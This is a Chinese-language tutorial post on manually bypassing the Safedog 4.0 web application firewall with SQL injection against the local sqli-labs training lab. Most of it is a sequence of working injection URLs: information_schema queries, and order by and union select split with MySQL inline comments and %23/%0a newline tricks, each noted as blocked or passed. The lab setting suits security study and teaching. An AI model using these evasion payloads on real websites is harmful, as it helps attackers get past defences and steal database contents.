上次我们发了一篇SQL注入-安全狗超大数据包绕过的文章,使用的是安全狗apache3.5.12048版本,这次是4.0系列的版本,全手动注入,后续会带来这方面的视频课程和相关tamper的编写。
因为文章搭载了公网上,所以对以前的笔记进行了打码。
如果你对sql注入不是很熟悉,可以B站看下我的sqli-labs系列视频
https://space.bilibili.com/29903122
相关笔记:
https://github.com/crow821/crowsec
查库:select schema_name from information_schema.schemata 查表:select table_name from information_schema.tables where table_schema='security' 查列:select column_name from information_schema.columns where table_name='users' 查字段:select username,password from security.users
1.闭合注入点
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --+
2. 判断列数
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 1 --+
拦截
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order 1 --+
显示正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' by 1 --+
显示正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by --+
异常
应该是order by不能连用,这里使用:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order/**/by --+
不行
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order/*!*/by --+
不行
这里使用换行试试:
%23
是#
也就是注释符, %0a
换行符
举例:
/* crow */
这是mysql的注释符,crow不会被执行
/*! crow */
这是mysql特有的内联注释,crow会被执行
/*!33333 crow*/
这是mysql的版本特性,当33333小于当前mysql版本号的时候,就会被执行
select * from /*! %23crow%0a*/users;
等同于下图
所以这里使用这样的方式进行判断:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order %23c%0a by 4--+
已知3列
3. 判断当前数据库
法1 database()
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' union select 1,2,3 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' union 1,2,3 --+
正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' select 1,2,3 --+
正常
http:/127.0.0.1/sqli-labs-master/Less-1/?id=1' union select 1,2,3 --+
不正常
所以这里应该是union select
不能一起连用
于是使用上述的万金油方式:
关键字符
%23a%%0a
关键字
/*!%23a%%0a*/
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*!%23a%%0a*/ select 1,2,3 --+
绕过
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*!%23a%%0a*/ select 1,2,database() --+
错误